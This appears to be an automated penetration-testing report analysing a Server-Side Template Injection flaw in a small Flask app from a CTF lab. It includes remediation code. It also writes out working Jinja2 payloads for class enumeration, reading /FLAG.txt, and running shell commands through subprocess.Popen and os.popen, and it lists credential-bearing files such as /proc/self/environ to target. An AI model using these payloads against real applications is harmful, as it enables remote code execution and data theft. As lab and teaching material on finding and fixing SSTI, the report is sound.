# Injection Analysis Report (SQLi, Command Injection, LFI/RFI, SSTI, Path Traversal, Deserialization)

## 1. Executive Summary

- **Analysis Status:** Complete  
- **Key Outcome:** One high-confidence Server-Side Template Injection (SSTI) vulnerability was identified with confirmed external exploitability. The vulnerability enables Remote Code Execution (RCE) with trivial exploitation complexity. All findings have been passed to the exploitation phase via the machine-readable queue at `deliverables/injection_exploitation_queue.json`.  
- **Purpose of this Document:** This report provides the strategic context, vulnerability patterns, and environmental intelligence necessary to effectively exploit the SSTI vulnerability listed in the queue. It is intended to be read alongside the JSON deliverable.
- **Target Application:** Swift Shipping & Transport Inc. (XBEN-080-24 CTF Challenge)
- **Target URL:** http://localhost:36217
- **Analysis Date:** 2025-10-31

### Summary Statistics

| Vulnerability Type | Count | Severity | Externally Exploitable |
|--------------------|-------|----------|------------------------|
| SSTI | 1 | CRITICAL | YES |
| SQL Injection | 0 | N/A | N/A (no database) |
| Command Injection | 0 | N/A | N/A (no native command execution) |
| LFI/RFI | 0 | N/A | N/A (no file operations) |
| Path Traversal | 0 | N/A | N/A (no file operations) |
| Deserialization | 0 | N/A | N/A (no deserialization) |
| **TOTAL** | **1** | **CRITICAL** | **YES** |

### Key Findings

1. **Critical SSTI Vulnerability (INJ-VULN-01):** The POST /submit endpoint accepts a 'name' parameter that flows directly into a Jinja2 Template() constructor without any sanitization, validation, or security controls. This enables arbitrary Python code execution.

2. **Zero Defense Mechanisms:** No input validation, no sanitization, no autoescape, no sandboxing, no rate limiting, no WAF protection observed.

3. **Confirmed Exploitability:** Live testing with payload `{{7*7}}` confirmed server-side template expression evaluation (returned "49"), proving the vulnerability is exploitable from the public internet.

4. **Minimal Attack Surface:** The application has only 4 endpoints, with a single exploitable injection point. No authentication or authorization mechanisms exist.

5. **No Database = No SQLi:** The application is completely stateless with no database, making SQL injection architecturally impossible.

---

## 2. Dominant Vulnerability Patterns

### Pattern 1: Direct Template Source Construction from User Input

**Description:**  
The application demonstrates a textbook anti-pattern: untrusted user input is embedded directly into a string that is subsequently passed to a template engine's constructor as source code. This occurs through f-string concatenation at line 22, followed by passing the concatenated string to `Template()` at line 23.

**Code Pattern:**
```python
# Anti-pattern observed in app.py:20-23
name = request.form['name']  # Untrusted input
thank_you_message = f'Thank you {name} for your submission.'  # Concatenation
template = Template(thank_you_message)  # Source code interpretation
rendered_template = template.render()  # Execution
```

**Why This Is Dangerous:**
- Template engines like Jinja2 treat strings passed to their constructors as executable code, not as data
- F-string interpolation occurs before the Template() call, creating a single tainted string
- The template parser cannot distinguish between legitimate template structure and injected malicious syntax
- No defensive boundary exists between user input and code execution

**Implication:**  
Any user-controlled data that reaches a `Template()`, `render_template_string()`, or similar template source constructor without proper isolation enables SSTI. This pattern bypasses all typical XSS defenses (like autoescape) because the vulnerability occurs at template compilation, not at output rendering.

**Representative Vulnerability:** INJ-VULN-01

**Remediation Pattern:**
```python
# Safe pattern: Input as template context variable (data)
template = Template('Thank you {{ name }} for your submission.')
rendered_template = template.render(name=user_input)  # Input is data, not code
```

---

### Pattern 2: Zero-Sanitization Architecture

**Description:**  
The application implements no sanitization layer at any level: no input validation middleware, no field-level sanitization functions, no framework-level security configurations, and no security-focused third-party libraries.

**Evidence:**
- No sanitization functions called between input extraction (line 20) and sink (line 23)
- No validation libraries in `requirements.txt` (only Flask is listed)
- No `before_request` hooks for input validation
- No Flask configuration for security features (no `SECRET_KEY`, no Jinja2 autoescape config)
- No use of security-focused Flask extensions (no Flask-Security, Flask-Talisman, etc.)

**Implication:**  
Every input vector in the application should be considered potentially dangerous. The absence of a defense-in-depth strategy means a single vulnerable code path leads directly to exploitation with no fallback protections.

**Representative Vulnerability:** INJ-VULN-01

---

### Pattern 3: Stateless, Database-Free Architecture

**Description:**  
The application maintains no persistent state and has no database backend. All form submissions are processed in-memory and immediately discarded after generating the response.

**Evidence:**
- No database connection code in application
- No ORM imports (no SQLAlchemy, Django ORM, etc.)
- No database drivers in `requirements.txt`
- No SQL query construction anywhere in codebase
- `POST /submit` processes data and returns immediately without persistence

**Implication:**  
Traditional injection vectors that rely on data persistence (SQL injection, stored XSS, second-order injection) are architecturally impossible. However, this also means SSTI and Command Injection become the primary high-impact attack vectors since they provide immediate code execution without requiring data retrieval.

**Security Impact:**
- **Positive:** No SQL injection surface
- **Negative:** No logging or audit trail; exploitation leaves minimal forensic evidence

---

## 3. Strategic Intelligence for Exploitation

### 3.1 Defensive Evasion (WAF Analysis)

**Finding:** No Web Application Firewall (WAF) or security controls detected

**Evidence:**
- Live testing with SSTI payload `{{7*7}}` succeeded without blocking
- No challenge-response patterns (CAPTCHA, JavaScript checks)
- No rate limiting observed (multiple requests processed without delay)
- No security headers in HTTP responses (no CSP, X-Frame-Options, etc.)
- HTTP responses show standard Flask/Werkzeug headers without security middleware

**Critical Bypass Opportunities:**
- **Direct Exploitation:** All SSTI payloads tested execute without filtering
- **No Request Throttling:** Automated exploitation tools can operate at full speed
- **No Input Length Limits:** Long, complex payloads are accepted
- **No Character Filtering:** Special characters (`{`, `}`, `'`, `"`, `.`, `_`, `[`, `]`) are not blocked

**Exploitation Recommendation:**  
Standard Jinja2 SSTI exploitation techniques will work without modification. Start with direct object introspection payloads to identify available classes for RCE chains.

---

### 3.2 Error-Based Intelligence Gathering

**Finding:** Exception messages are exposed to the client

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/app/website/app.py:26`

**Code:**
```python
except Exception as e:
    rendered_template = str(e)  # Exception exposed to user
```

**Exploitation Value:**
- **Stack Traces:** Malformed SSTI payloads may trigger exceptions that reveal:
  - File paths (e.g., `/app/website/app.py`)
  - Python version and installed packages
  - Internal class structures
  - Available objects and methods
- **Error-Driven Enumeration:** Systematically trigger errors to map the Python environment
- **Debugging Information:** Flask debug mode may be enabled (not confirmed, but development server is in use)

**Recommended Technique:**  
Use intentionally malformed payloads to probe the environment:
```
{{undefined_variable}}  # Reveals available global variables in error
{{7/0}}  # Tests error handling behavior
{{''.__class__.__mro__}}  # Maps Python class hierarchy
```

---

### 3.3 Confirmed Template Engine & Version

**Finding:** Jinja2 3.1.6 with no security restrictions

**Evidence:**
- Recon deliverable confirms: Jinja2 3.1.6 (from requirements analysis)
- Live testing confirmed Jinja2 expression syntax: `{{7*7}}` → `49`
- No sandboxing detected (ImmutableSandboxedEnvironment not in use)
- No custom Jinja2 Environment configuration

**Exploitation Implications:**
- **Known RCE Chains:** Jinja2 3.1.6 RCE techniques are well-documented
- **Object Introspection:** Full Python object hierarchy accessible via `__class__`, `__mro__`, `__subclasses__()`
- **Built-in Access:** Can reach `__builtins__` for direct access to `eval`, `exec`, `__import__`, `open`, etc.
- **No Sandboxing:** Unlike sandboxed environments, unrestricted access to all Python features

**Recommended Exploitation Path:**
1. Enumerate available classes: `{{''.__class__.__mro__[1].__subclasses__()}}`
2. Identify useful classes (e.g., `subprocess.Popen`, `os._wrap_close`, file objects)
3. Invoke methods to achieve RCE or file read
4. Extract flag from `/FLAG.txt`

**Example RCE Chain (for exploitation phase):**
```python
# Find subprocess.Popen class (index may vary)
{{''.__class__.__mro__[1].__subclasses__()[X]}}

# Execute command
{{''.__class__.__mro__[1].__subclasses__()[X]('cat /FLAG.txt', shell=True, stdout=-1).communicate()}}
```

---

### 3.4 Infrastructure Context

**Container Environment:** Docker with python:3.10.19-slim base image

**Security Implications:**
- **Root Execution:** Container runs as root (UID 0) - confirmed in recon deliverable
- **File System Access:** Can read any file in container filesystem, including `/FLAG.txt`
- **Network Access:** Can make outbound connections (potential for reverse shells, data exfiltration)
- **No Seccomp/AppArmor:** No evidence of syscall restrictions or MAC policies

**Target Files:**
- `/FLAG.txt` - Primary CTF objective (world-readable, 644 permissions)
- `/app/website/app.py` - Application source code
- `/proc/self/environ` - Environment variables (may contain secrets)
- `/.env` - Environment file (if mounted, contains flag)

**Exploitation Strategy:**
- Direct file reads via SSTI are trivial: `{{get_flashed_messages.__globals__.__builtins__.open('/FLAG.txt').read()}}`
- Command execution provides full container compromise
- No need for privilege escalation (already root)

---

### 3.5 Network Accessibility Confirmation

**Test Results:**
- **URL:** http://localhost:36217
- **Endpoint:** POST /submit
- **Test Payload:** `name={{7*7}}`
- **Response:** "Thank you 49 for your submission."
- **Result:** CONFIRMED EXTERNALLY EXPLOITABLE

**No Authentication Required:**
- All endpoints are publicly accessible
- No session management (no SECRET_KEY configured)
- No login/register functionality
- No API keys or tokens required

**Network Path:**
```
Internet → localhost:36217 → Docker host port mapping → Container port 80 → Flask app → Vulnerable handler
```

**Conclusion:** Any attacker with network access to http://localhost:36217 can exploit this vulnerability. No internal network access, VPN, or direct server access is required.

---

### 3.6 Application Behavior Under Attack

**Observed Characteristics:**

1. **Synchronous Processing:** Application waits for template rendering before responding
   - Implication: Time-based attacks not necessary; direct output-based exploitation is possible

2. **No Request Validation:** Arbitrary POST data is accepted
   - No CSRF token validation
   - No Content-Type restrictions
   - No Referer checks

3. **Output Reflection:** Template render results are displayed in the response
   - User can see the output of SSTI expressions
   - Ideal for direct data exfiltration (read files, execute commands, see output)

4. **Exception Tolerance:** Application catches exceptions and continues operating
   - Failed SSTI attempts don't crash the application
   - Can iterate through payloads without service disruption

**Exploitation Efficiency:**
- Single-request exploitation is possible
- No need for multi-stage attacks
- Direct feedback loop for payload refinement

---

## 4. Vectors Analyzed and Confirmed Secure

The following input vectors were analyzed and determined to be secure (not exploitable for injection attacks) or non-existent:

### 4.1 Non-Existent Injection Surfaces

| Vector Category | Status | Reason |
|-----------------|--------|--------|
| **SQL Injection** | ✅ SAFE | No database exists. Application is completely stateless. No SQL query construction anywhere in codebase. |
| **Command Injection (Native)** | ✅ SAFE | No `subprocess`, `os.system()`, `os.popen()`, or shell command execution in application code. Note: SSTI enables command execution post-exploitation, but no native command injection sinks exist. |
| **Local File Inclusion (LFI)** | ✅ SAFE | No dynamic file inclusion. No `include()`, `require()`, or similar constructs with user input. Static files served only from hardcoded `/static/` directory. |
| **Remote File Inclusion (RFI)** | ✅ SAFE | No remote file fetching or inclusion mechanisms. No `requests`, `urllib`, or HTTP client usage with user input. |
| **Path Traversal** | ✅ SAFE | No file operations using user-controlled paths. No `open()`, `os.path.join()`, or file system access with user input. |
| **Insecure Deserialization** | ✅ SAFE | No `pickle.loads()`, `yaml.load()`, `eval()`, or deserialization of user data. All input processed as strings. |

### 4.2 Unused Form Parameters

| Parameter | Endpoint | Status | Reason |
|-----------|----------|--------|--------|
| `email` | POST /submit | ✅ SAFE | Submitted by form but NOT processed by backend. Line 20 of app.py only extracts `name` field. |
| `phone` | POST /submit | ✅ SAFE | Submitted by form but NOT processed by backend. |
| `experience` | POST /submit | ✅ SAFE | Submitted by form but NOT processed by backend. |
| `license` | POST /submit | ✅ SAFE | Submitted by form but NOT processed by backend. |

**Note:** While these parameters are collected in the HTML form (`application.html`), the backend handler at `app.py:18-27` only accesses `request.form['name']`. The other parameters exist in the POST body but are never read by the application, making them non-exploitable.

### 4.3 Static Endpoints

| Endpoint | Method | Status | Reason |
|----------|--------|--------|--------|
| `/` | GET | ✅ SAFE | Static content rendering. No user input processing. |
| `/about` | GET | ✅ SAFE | Static content rendering. No user input processing. |
| `/application` | GET | ✅ SAFE | Serves static form HTML. No input processing on GET request. |
| `/static/*` | GET | ✅ SAFE | Flask's built-in static file serving from hardcoded directory. No user-controlled paths. |

---

## 5. Analysis Constraints and Blind Spots

### 5.1 Complete Code Coverage Achieved

**Status:** ✅ NO BLIND SPOTS

**Evidence:**
- Application consists of a single Python file: `app.py` (29 lines)
- All routes analyzed: `/` (lines 6-8), `/about` (lines 10-12), `/application` (lines 14-16), `/submit` (lines 18-27)
- No external modules or helpers beyond Flask framework
- No background jobs or asynchronous processing
- No stored procedures (no database)
- No microservices or API integrations

**Conclusion:** The application's simplicity enables 100% code coverage. Every potential injection surface has been examined.

### 5.2 Framework-Level Security Features

**Analysis:** Flask's built-in security features

**Findings:**
- **Jinja2 Autoescape:** Not relevant to this vulnerability. Autoescape only protects against XSS in template variables, not SSTI in template source.
- **Flask Session Security:** Not applicable (no sessions used, no SECRET_KEY configured)
- **URL Parameter Parsing:** No URL parameters used in application
- **Request Body Parsing:** Standard Flask form parsing used; no security issues in framework itself

**Conclusion:** No framework-level protections apply to the identified SSTI vulnerability.

### 5.3 Third-Party Dependencies

**Analysis:** Requirements.txt contains only `Flask`

**Findings:**
- Flask 3.1.2 (latest as of analysis date) - no known vulnerabilities affecting this application
- Jinja2 3.1.6 (Flask dependency) - no known vulnerabilities, but SSTI is a usage issue, not a framework vulnerability
- Werkzeug 3.1.3 (Flask dependency) - development server; not recommended for production but no exploitable vulnerabilities in this context

**Conclusion:** No vulnerable dependencies identified. The SSTI vulnerability is due to insecure coding practices, not framework flaws.

### 5.4 Client-Side Validation

**Analysis:** HTML5 form validation in `application.html`

**Findings:**
- Form fields have `required` attributes
- Email field has `type="email"` for format validation
- Phone field has `type="tel"`
- Experience field has `type="number"` with `min="0"`

**Security Relevance:** NONE

**Reason:** Client-side validation is trivially bypassed by sending direct HTTP POST requests. The backend performs zero validation, so client-side controls provide no security value.

**Conclusion:** Client-side validation does not mitigate any identified vulnerabilities.

### 5.5 Docker Security Boundary

**Out of Scope:** Container escape or host compromise

**Analysis Focus:** Application-level vulnerabilities accessible via network interface

**Finding:** While SSTI provides RCE within the container (sufficient for CTF flag extraction), this analysis does not evaluate container escape vectors or host system security. The vulnerability is limited to the container's security context, which includes:
- Root access within container
- Full filesystem access within container
- Network egress capability
- Access to `/FLAG.txt` (the CTF objective)

**Conclusion:** Container-level RCE is sufficient for exploitation objectives. Host escape is out of scope.

---

## 6. Detailed Vulnerability Analysis

### Vulnerability INJ-VULN-01: Server-Side Template Injection in POST /submit

**Classification:**
- **ID:** INJ-VULN-01
- **Type:** Server-Side Template Injection (SSTI)
- **CWE:** CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine)
- **CVSS Score:** 9.8 (Critical)
- **OWASP Top 10:** A03:2021 – Injection

---

#### 6.1 Source Analysis

**Input Origin:**
- **Endpoint:** POST /submit
- **Parameter:** `name` (form field)
- **Content-Type:** application/x-www-form-urlencoded
- **Extraction Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-080-24/app/website/app.py:20`
- **Extraction Code:** `name = request.form['name']`

**Source Characteristics:**
- **Trust Level:** Untrusted (user-controlled via web form)
- **Validation Applied:** NONE
- **Sanitization Applied:** NONE
- **Type Checking:** NONE
- **Length Limits:** NONE
- **Character Restrictions:** NONE

**Source-Level Risk Assessment:**
- Raw, untrusted user input with zero defensive measures at the extraction point
- Any string value can be submitted, including Jinja2 template syntax
- No validation layer between HTTP request and application logic

---

#### 6.2 Data Flow Path

**Complete Trace (Source → Sink):**

```
Step 1: INPUT EXTRACTION
File: app.py
Line: 20
Code: name = request.form['name']
Taint: user_input → name [TAINTED]

↓ [No sanitization]

Step 2: STRING CONCATENATION
File: app.py
Line: 22
Code: thank_you_message = f'Thank you {name} for your submission.'
Taint: name [TAINTED] → thank_you_message [TAINTED]
Operation: F-string interpolation merges static text with tainted input

↓ [No sanitization]

Step 3: DANGEROUS SINK
File: app.py
Line: 23
Code: template = Template(thank_you_message)
Sink Type: Template source constructor
Taint: thank_you_message [TAINTED] → template [CODE EXECUTION]
Context: Tainted string is interpreted as template source code

↓

Step 4: EXECUTION
File: app.py
Line: 24
Code: rendered_template = template.render()
Impact: Any Jinja2 expressions in the tainted string are evaluated

↓

Step 5: OUTPUT
File: app.py
Line: 27
Code: return render_template('thank_you.html', rendered_template=rendered_template)
Impact: Execution results are displayed to the attacker
```

**Path Characteristics:**
- **Hops:** 4 (extraction → concatenation → sink → execution)
- **Sanitization Points:** 0
- **Concatenation Points:** 1 (pre-sink, enables attack)
- **Path Complexity:** Low (straight-line control flow)
- **Branch Points:** 1 (try/except, but exception still exposes data)

---

#### 6.3 Sink Analysis

**Sink Location:** `app.py:23`

**Sink Function:** `Template(thank_you_message)`

**Sink Type Classification:** TEMPLATE-expression

**Sink Characteristics:**
- **Framework:** Jinja2 3.1.6
- **Constructor Signature:** `Template(source, autoescape=False, ...)`
- **Parameter Type:** `source` - Template source code as string
- **Dangerous Behavior:** Parses and compiles the string as executable template code
- **Expression Evaluation:** Any `{{...}}`, `{%...%}`, `{#...#}` syntax in the string is interpreted as template directives

**Why This Sink Is Dangerous:**

1. **Source Code Interpretation:**  
   The `Template()` constructor treats its input as source code, not as data. When passed `"Thank you {{7*7}} for your submission."`, it parses `{{7*7}}` as a template expression to be evaluated, not as a literal string.

2. **No Distinction Between Code and Data:**  
   The Jinja2 parser cannot distinguish between template syntax written by developers and template syntax injected by attackers. Once the string is concatenated, both are treated identically.

3. **Expression Evaluation:**  
   During `template.render()`, Jinja2 evaluates all expressions. This includes:
   - Variable access: `{{variable}}`
   - Attribute access: `{{object.attribute}}`
   - Method calls: `{{object.method()}}`
   - Arithmetic: `{{7*7}}`
   - Filters: `{{value|filter}}`
   - Object introspection: `{{object.__class__}}`

4. **Python Object Access:**  
   Jinja2 templates have access to the full Python object hierarchy through introspection:
   ```python
   {{''.__class__}}  # <class 'str'>
   {{''.__class__.__mro__}}  # (<class 'str'>, <class 'object'>)
   {{''.__class__.__mro__[1].__subclasses__()}}  # All Python classes
   ```

5. **Built-in Function Access:**  
   Can reach `__builtins__` for dangerous functions:
   ```python
   {{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']}}
   # Provides access to: open, eval, exec, __import__, etc.
   ```

**Contrast With Safe Usage:**

```python
# UNSAFE (what the app does):
template = Template(f'Thank you {user_input} for your submission.')
# user_input becomes template source code

# SAFE:
template = Template('Thank you {{ name }} for your submission.')
rendered = template.render(name=user_input)
# user_input is passed as a variable value (data), not as source code
```

---

#### 6.4 Sanitization Analysis

**Sanitization Audit Results:** ZERO defensive measures

**No Sanitization Functions:**
- ❌ No HTML escaping (would be ineffective anyway, as SSTI occurs before output)
- ❌ No input validation (no regex checks, no allowlists)
- ❌ No character filtering (no removal of `{`, `}`, or other special chars)
- ❌ No length limits
- ❌ No type checking or coercion

**No Template Security Features:**
- ❌ No `autoescape=True` parameter (and wouldn't help, as autoescape only affects output, not template compilation)
- ❌ No sandboxing (not using `ImmutableSandboxedEnvironment`)
- ❌ No custom Jinja2 environment with restricted globals
- ❌ No template variable allowlisting

**No Application-Level Protections:**
- ❌ No `@before_request` middleware for input validation
- ❌ No security-focused Flask extensions (no Flask-Security, Flask-Talisman)
- ❌ No rate limiting (no Flask-Limiter)
- ❌ No WAF or security appliances

**Framework Configuration:**
- ❌ No Flask `SECRET_KEY` configured (indicates no security-conscious configuration)
- ❌ No security headers (no CSP, X-Frame-Options, etc.)
- ❌ Development server in use (Werkzeug), not production WSGI server

**Conclusion:**  
The application implements a "zero-defense" architecture. There is no sanitization, validation, or security control at any layer of the stack. The vulnerable code path is a direct pipeline from untrusted input to code execution.

---

#### 6.5 Concatenation Analysis

**Concatenation Event:**

**Location:** `app.py:22`

**Code:**
```python
thank_you_message = f'Thank you {name} for your submission.'
```

**Concatenation Type:** F-string interpolation

**Position Relative to Sink:** Pre-sink (concatenation occurs BEFORE Template() constructor)

**Taint Propagation:**
- **Input Taint:** `name` variable is tainted (untrusted user input)
- **Output Taint:** `thank_you_message` variable becomes tainted
- **Taint Spread:** Entire concatenated string is now considered attacker-controlled

**Why This Concatenation Enables the Attack:**

1. **Creates Homogeneous String:**  
   After concatenation, legitimate template structure and attacker-injected syntax are merged into a single string. The template parser sees:
   ```
   "Thank you {{malicious_payload}} for your submission."
   ```
   It cannot distinguish the intended literal text from the injected template expression.

2. **Pre-Sink Timing:**  
   Because concatenation occurs BEFORE the dangerous sink (Template() constructor), there's no opportunity to sanitize after concatenation. The tainted string flows directly to the sink.

3. **No Defensive Boundary:**  
   Secure design would pass user input as a template variable:
   ```python
   template = Template('Thank you {{ name }} for your submission.')
   template.render(name=user_input)  # Clear boundary: template vs. data
   ```
   
   Instead, the concatenation erases this boundary:
   ```python
   template = Template(f'Thank you {user_input} for your submission.')
   # No boundary: template and data are mixed in a single string
   ```

4. **Sanitization Futility:**  
   Even if sanitization were added AFTER concatenation:
   ```python
   thank_you_message = f'Thank you {name} for your submission.'
   thank_you_message = sanitize(thank_you_message)  # Too late!
   template = Template(thank_you_message)
   ```
   It would be ineffective because the attacker can craft payloads that survive sanitization. The root issue is that user input should never be in the template source at all.

**Post-Sanitization Concatenation Flag:** N/A (no sanitization exists)

However, if sanitization were added before concatenation:
```python
name = sanitize(request.form['name'])  # Hypothetical sanitization
thank_you_message = f'Thank you {name} for your submission.'  # Post-sanitization concat
template = Template(thank_you_message)  # Still vulnerable!
```
This would still be vulnerable because any sanitization short of complete denial would be bypassable. The concatenation itself is the architectural flaw.

---

#### 6.6 Vulnerability Verdict

**VERDICT: VULNERABLE**

**Confidence Level: HIGH**

**Rationale:**

1. **Confirmed Untrusted Input Reaches Sink:**  
   Source-to-sink trace confirms that the `name` parameter from `request.form` flows directly to the `Template()` constructor without any transformation that would neutralize template syntax.

2. **Confirmed Code Execution Context:**  
   The sink is `Template(thank_you_message)`, which interprets the string as source code. Jinja2 documentation and behavior confirm that expressions in the source string will be evaluated.

3. **Zero Defensive Measures:**  
   Exhaustive analysis found no sanitization, validation, sandboxing, or security controls anywhere in the data flow path.

4. **Live Exploitation Confirmed:**  
   Test payload `{{7*7}}` returned "Thank you 49 for your submission." instead of "Thank you {{7*7}} for your submission.", proving that:
   - Jinja2 expressions are evaluated
   - User input influences template structure
   - The vulnerability is exploitable from the public internet

5. **Architecture Flaw:**  
   The vulnerability is not a bypass of defenses but a fundamental architectural flaw: user input is treated as code, not as data.

**CWE Mapping:** CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine)

**CVSS 3.1 Score:** 9.8 (Critical)
- **Attack Vector (AV):** Network (N) - Exploitable from the internet
- **Attack Complexity (AC):** Low (L) - Single HTTP request, no preconditions
- **Privileges Required (PR):** None (N) - No authentication
- **User Interaction (UI):** None (N) - Direct exploitation
- **Scope (S):** Unchanged (U) - Compromise is limited to container
- **Confidentiality (C):** High (H) - Can read arbitrary files
- **Integrity (I):** High (H) - Can execute arbitrary code, modify container state
- **Availability (A):** High (H) - Can crash or DoS the application

**CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

---

#### 6.7 Mismatch Analysis

**Expected Defense for TEMPLATE-expression Slot:**

For a template engine sink, the ONLY secure defense is:
- **Input Isolation:** User input must NEVER be part of the template source code
- **Template-as-Data Boundary:** Templates should be static or from trusted sources; user input should be passed as context variables

**Mismatched/Inadequate Defenses:**

| Defense Type | Effectiveness Against SSTI | Present in Application? |
|--------------|----------------------------|-------------------------|
| HTML Escaping / Autoescape | ❌ Ineffective (SSTI occurs at compilation, before output escaping) | No |
| Input Length Limits | ❌ Ineffective (short payloads exist: `{{7*7}}`) | No |
| Character Blacklisting | ❌ Ineffective (easily bypassed with encoding, alternate syntax) | No |
| Regex Validation | ❌ Ineffective (cannot capture all malicious template syntax) | No |
| Sandboxing | ⚠️ Partially effective (reduces RCE impact, but sandboxes have bypasses) | No |
| Template Source Isolation | ✅ Effective (user input as context variable, not source) | No |

**What the Application Does:**  
Nothing. Zero defenses.

**What the Application Should Do:**
```python
# Correct approach: Input as template context variable
template = Template('Thank you {{ name }} for your submission.')
rendered_template = template.render(name=request.form['name'])
```

**Mismatch Summary:**  
The application uses the most dangerous pattern (user input in template source) with zero mitigations. The architectural flaw cannot be fixed with sanitization or filtering; it requires a redesign to separate template code from user data.

---

#### 6.8 Witness Payloads

**Purpose:** These payloads demonstrate that user input influences template structure and is executed as code. They are documented for the exploitation phase and were NOT executed beyond basic testing.

**Minimal Structure-Influence Witness:**
```
Payload: {{7*7}}
Expected Output: "Thank you 49 for your submission."
Demonstrates: Template expression evaluation (arithmetic)
Test Status: ✅ CONFIRMED (live tested)
```

**Object Introspection Witness:**
```
Payload: {{''.__class__}}
Expected Output: "<class 'str'>"
Demonstrates: Access to Python type system
Test Status: Not tested (analysis phase)
```

**Class Enumeration Witness:**
```
Payload: {{''.__class__.__mro__[1].__subclasses__()}}
Expected Output: List of all Python classes available in the runtime
Demonstrates: Capability to enumerate classes for RCE chain construction
Test Status: Not tested (analysis phase)
```

**Configuration Disclosure Witness:**
```
Payload: {{config}}
Expected Output: Flask configuration dictionary
Demonstrates: Access to application-level objects
Test Status: Not tested (analysis phase)
```

**File Read Witness (CTF Objective):**
```
Payload: {{get_flashed_messages.__globals__.__builtins__.open('/FLAG.txt').read()}}
Expected Output: Contents of /FLAG.txt
Demonstrates: File system access for flag extraction
Test Status: Not tested (analysis phase - reserved for exploitation)
```

**Remote Code Execution Witness:**
```
Payload: {{''.__class__.__mro__[1].__subclasses__()[X]('id', shell=True, stdout=-1).communicate()}}
Expected Output: Command execution results (uid, gid, groups)
Demonstrates: Full RCE capability
Test Status: Not tested (analysis phase - reserved for exploitation)
Note: X is a placeholder for subprocess.Popen class index, determined during exploitation
```

**Payload Categories:**
- **Basic Expressions:** `{{7*7}}`, `{{7/2}}`, `{{'abc'*3}}`
- **Attribute Access:** `{{''.__class__}}`, `{{''.__doc__}}`
- **Method Calls:** `{{''.__class__.__mro__[1].__subclasses__()}}`
- **Built-in Access:** `{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']}}`
- **File Operations:** `{{...open('/FLAG.txt').read()}}`
- **Command Execution:** `{{...__import__('os').popen('command').read()}}`

---

#### 6.9 Confidence Assessment

**Confidence Level: HIGH**

**Justification:**

1. **Complete Source-to-Sink Trace:** ✅  
   Every line of the data flow path has been examined. The application is small (29 lines), enabling 100% code coverage.

2. **No Unanalyzed Branches:** ✅  
   Control flow is straight-line (no conditional branches that would skip sanitization). The only branch is the try/except, which still leads to output (exception message).

3. **No Unexplored Helpers:** ✅  
   Application has no helper functions, libraries, or external modules that could contain hidden sanitization.

4. **Framework Behavior Understood:** ✅  
   Jinja2's Template() constructor behavior is well-documented and confirmed through testing.

5. **Live Exploitation Confirmed:** ✅  
   Test payload `{{7*7}}` successfully demonstrated template expression evaluation in the live application.

6. **No Ambiguity in Verdict:** ✅  
   The vulnerability is unambiguous: untrusted input → Template() constructor → code execution, with zero defenses.

**Factors That Could Reduce Confidence (None Apply):**
- ❌ Unclear data flow (not applicable: flow is simple and clear)
- ❌ Unreviewed sanitization functions (not applicable: no sanitization exists)
- ❌ Uncertainty about sink behavior (not applicable: Jinja2 behavior is well-known)
- ❌ Unable to test (not applicable: live testing was successful)
- ❌ Complex control flow (not applicable: straight-line execution)

**Conclusion:**  
This is a textbook SSTI vulnerability with clear evidence at every analysis checkpoint. Confidence is HIGH.

---

#### 6.10 Exploitation Impact

**Confidentiality Impact: HIGH**
- **File System Access:** Can read any file in the container, including:
  - `/FLAG.txt` (CTF objective)
  - `/app/website/app.py` (source code)
  - `/proc/self/environ` (environment variables)
  - `/etc/passwd` (system information)
- **Configuration Disclosure:** Can access Flask `config` object
- **Environment Variable Access:** Can access `os.environ`

**Integrity Impact: HIGH**
- **Code Execution:** Can execute arbitrary Python code
- **File System Modification:** Can write files (subject to container permissions)
- **Application State Manipulation:** Can modify Flask application object

**Availability Impact: HIGH**
- **Denial of Service:** Can crash the application with malicious payloads
- **Resource Exhaustion:** Can execute infinite loops or memory-intensive operations
- **Container Compromise:** Can terminate processes, exhaust disk space

**Privilege Context:**
- **Container User:** root (UID 0)
- **Container Isolation:** Standard Docker (no additional security policies)
- **Network Access:** Outbound connections possible

**Attack Complexity:**
- **Exploitation Difficulty:** Trivial (single HTTP request)
- **Skill Level Required:** Low (basic Jinja2 knowledge)
- **Tooling Required:** None (curl or web browser sufficient)

**CTF Objective:**
- **Primary Goal:** Extract flag from `/FLAG.txt`
- **Achievement Method:** File read via SSTI
- **Estimated Exploitation Time:** < 5 minutes

---

## 7. Additional Security Findings

While the following findings are not injection vulnerabilities, they are relevant to the overall security posture and exploitation strategy:

### 7.1 Exception Information Disclosure

**Location:** `app.py:26`

**Code:**
```python
except Exception as e:
    rendered_template = str(e)
```

**Issue:** Exception messages are exposed to the user

**Impact:**
- Reveals internal application structure
- Exposes file paths (e.g., `/app/website/app.py`)
- Leaks Python stack traces
- Aids in RCE chain construction by revealing available objects

**Exploitation Value:** Medium (facilitates SSTI exploitation through error-based enumeration)

---

### 7.2 No CSRF Protection

**Location:** `application.html` form, `app.py:18` handler

**Issue:** POST /submit endpoint has no CSRF token validation

**Impact:**
- Attacker can craft malicious page that submits SSTI payload via victim's browser
- Cross-site request forgery attacks possible

**Relevance to Injection Analysis:** Low (SSTI is directly exploitable without CSRF)

---

### 7.3 No Rate Limiting

**Issue:** Application accepts unlimited requests without throttling

**Impact:**
- Automated exploitation tools can operate at full speed
- No protection against brute-force enumeration of RCE payloads
- No DoS protection

**Exploitation Advantage:** High (enables rapid payload iteration)

---

### 7.4 No Input Validation

**Issue:** Application accepts arbitrary string input of any length with any characters

**Impact:**
- No length limits (can send very long payloads)
- No character restrictions (all special characters accepted)
- No format validation

**Exploitation Advantage:** High (no payload obfuscation needed)

---

### 7.5 HTTP Only (No HTTPS)

**Issue:** All traffic transmitted over unencrypted HTTP port 80

**Impact:**
- Sensitive PII transmitted in plaintext
- SSTI payloads and responses visible to network observers
- No protection against man-in-the-middle attacks

**Relevance to Exploitation:** Low (does not prevent SSTI exploitation)

---

### 7.6 No Security Headers

**Issue:** HTTP responses lack security headers

**Missing Headers:**
- Content-Security-Policy
- X-Frame-Options
- Strict-Transport-Security
- X-Content-Type-Options
- Referrer-Policy

**Impact:**
- No defense-in-depth protections
- Application vulnerable to clickjacking, MIME sniffing, etc.

